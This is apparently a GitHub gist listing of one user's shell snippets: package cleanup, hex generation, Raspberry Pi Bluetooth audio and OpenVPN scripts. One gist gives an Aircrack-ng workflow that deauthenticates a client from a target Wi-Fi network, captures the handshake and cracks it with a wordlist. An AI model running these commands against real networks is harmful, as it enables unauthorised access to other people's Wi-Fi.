Skip to content

Instantly share code, notes, and snippets.

#/bin/sh
[ -f ~/.local/etc/baseline_pkg.list ] || exit 1
# Generate ~/.local/etc/current_pkg.list
apt list --installed 2>/dev/null | awk -F/ '{print $1}' > ~/.local/etc/current_pkg.list
# Remove any packages not included in ~/.local/etc/baseline_pkg.list
for i in $(diff -y ~/.local/etc/baseline_pkg.list ~/.local/etc/current_pkg.list | awk -- '{if($1==">") print $2}'); do
echo -n "Removing ${i}... "
@PieGuy314
PieGuy314 / Aircrack.txt
Created February 14, 2020 12:16
Aircrack-ng workflow
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
SCREEN 1: sudo airodump-ng [ --bssid xx:xx:xx:xx:xx:xx | --essid $ESSID ] -c $CHAN --write $LOG wlan0mon
SCREEN 2: sudo airreplay-ng --deauth 10 [ -a xx:xx:xx:xx:xx:xx | -e $ESSID ] -c yy:yy:yy:yy:yy:yy wlan0mon
cat $WORDLIST | aircrack-ng $LOG.cap [ -b xx:xx:xx:xx:xx:xx | -e $ESSID ] -w -
@PieGuy314
PieGuy314 / Hex.txt
Created February 14, 2020 11:59
Random Hex String Generation
od -An -x -w6 < /dev/urandom | tr -d ' ' | cut -b1-10 | tr [:lower:] [:upper:]
@PieGuy314
PieGuy314 / bt-addr.sh
Last active December 2, 2023 12:10
Update/Create ALSA config file with updated BD_ADDR
#!/bin/sh
#
# Update alsa config file with new BD_ADDR
# Backup original
# Create a new config file if one doesn't exist
usage() {
echo "Usage: $0 xx:xx:xx:xx:xx:xx"
}
@PieGuy314
PieGuy314 / Bluetooth-TTS.txt
Last active February 14, 2020 16:10
Raspberry Pi Zero W - Text to Audio via Bluetooth
# Bluetooth Audio
# Install bluealsa and allow 'pi' to access
sudo apt install bluealsa
sudo systemctl start bluealsa
sudo usermod -G bluetooth -a pi
### reboot ###
# Scan, pair, trust and connect
bluetoothctl
@PieGuy314
PieGuy314 / auth.txt
Created November 9, 2017 10:29
OpenVPN: auth.txt
user
pass
@PieGuy314
PieGuy314 / openvpn.conf
Created November 9, 2017 10:28
OpenVPN: openvpn.conf
dev tun
proto udp
ping 10
ping-restart 120
remote-random
@PieGuy314
PieGuy314 / down-pre.sh
Created November 9, 2017 10:19
OpenVPN: down-pre.sh
#!/bin/sh
systemctl stop transmission-daemon
@PieGuy314
PieGuy314 / route-up.sh
Last active April 22, 2022 09:20
OpenVPN: route-up.sh
#!/bin/sh
systemctl start transmission-daemon
@PieGuy314
PieGuy314 / if-up.sh
Created November 9, 2017 10:16
OpenVPN: if-up.sh
#!/bin/sh
iptables -F
iptables -A INPUT -i $dev -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i $dev -j DROP